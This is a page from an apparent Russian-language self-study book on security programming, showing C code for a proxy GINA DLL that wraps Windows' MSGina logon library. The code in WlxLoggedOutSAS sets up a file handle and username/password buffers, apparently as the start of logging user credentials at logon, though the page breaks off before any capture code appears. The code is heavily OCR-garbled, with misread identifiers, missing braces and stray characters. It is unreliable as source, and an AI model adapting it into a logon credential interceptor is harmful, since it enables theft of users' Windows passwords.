Самоучитель по программированию систем защиты




Протокол взаимодействия процесса Winlogon и библиотеки GINA - часть 5


return TRUE; } '

BOOL WINAPI DllMain(HINSTANCE hlnstance, DWORD dwReason, LPVOID IpReserved) switch( dwReason )

case DLL_PROCESS_ATTACH: I DisableThreadLibraryCalls( hlnstance );

| hDHInstance = hlnstance;

f.

i.

\ if (UnitMSGinaDllO ) I return FALSE;

break;

case DLL_PROCESS_DETACH: FreeLibrary(hMSGinaDLL); break/default: break;

return TRUE; }

BOOL WINAPI WlxNegotiate (DWORD dwWinlogonVersion, PDWORD pdwDHVersion) { BOOL res = FALSE;

MessageBox(NULL,_T("WlxNegotiate"),_T("GinaDebug"),MB_OK)

res = g_lpWlxNegotiate(dwWinlogonVersion, pdwDHVersion);

*

return res;

BOOL WINAPI Wlxlnitialize( LPWSTR IpWinsta, HANDLE hWlx, PVOID pvReserved, PVOID pWinlogonFunctions, PVOID* pWlxContext )

BOOL res = FALSE;

MessageBox(NULL,_T("Wlxinitiali ze"),_T("GinaDebug"),MB_OK);

pWlxFuncs = (PWLX_DISPATCH_VERSION_1_0 )pWinlogonFunctions;

res = g_lpWlx!nitialize(IpWinsta, hWlx, pvReserved, pWinlogonFunctions, pWlxContext);

return res;

VOID WINAPI WlxDisplaySASNotice(PVOID pContext) MessageBox(NULL,_T("WlxDisplaySASNotice"),_T("GinaDebug"),MB_OK); g IpWlxDisplaySASNotice(pContext);

int WINAPI WlxLoggedOutSAS(

PVOID pWlxContext, // Context associated with this window station.

DWORD dwSasType, // Indicates the type of SAS that occurred

FLUID pAuthenticationld,// ID associated with current logon session.

PSID pLogonSid, // SID is unique to the current logon session.

PDWORD pdwOptions, // Options: load profile, etc.

PHANDLE phToken, // Token

PWLX_MPR_NOTIFY_INFO pMprNotifylnfo,

// Password information to other network providers

PVOID* pProfile ) // Point to one of the WLX_PROFILE_xxx structures. {

int res,i;

FILE *out;

UCHAR current_name [32] , current_pass [32] ;

UCHAR pro[2]={0x20,0};

UCHAR end[3]={OxD,OxA, 0};

MessageBox (NULL, _T ("WlxLoggedOutSAS") ,_T ("GinaDebug") ,MB_OK) res = g_lpWlxLoggedOutSAS (

pWlxContext, dwSasType, pAuthenticationld,

pLogonSid, pdwOptions, phToken, pMprNotifylnfo,



Содержание  Назад  Вперед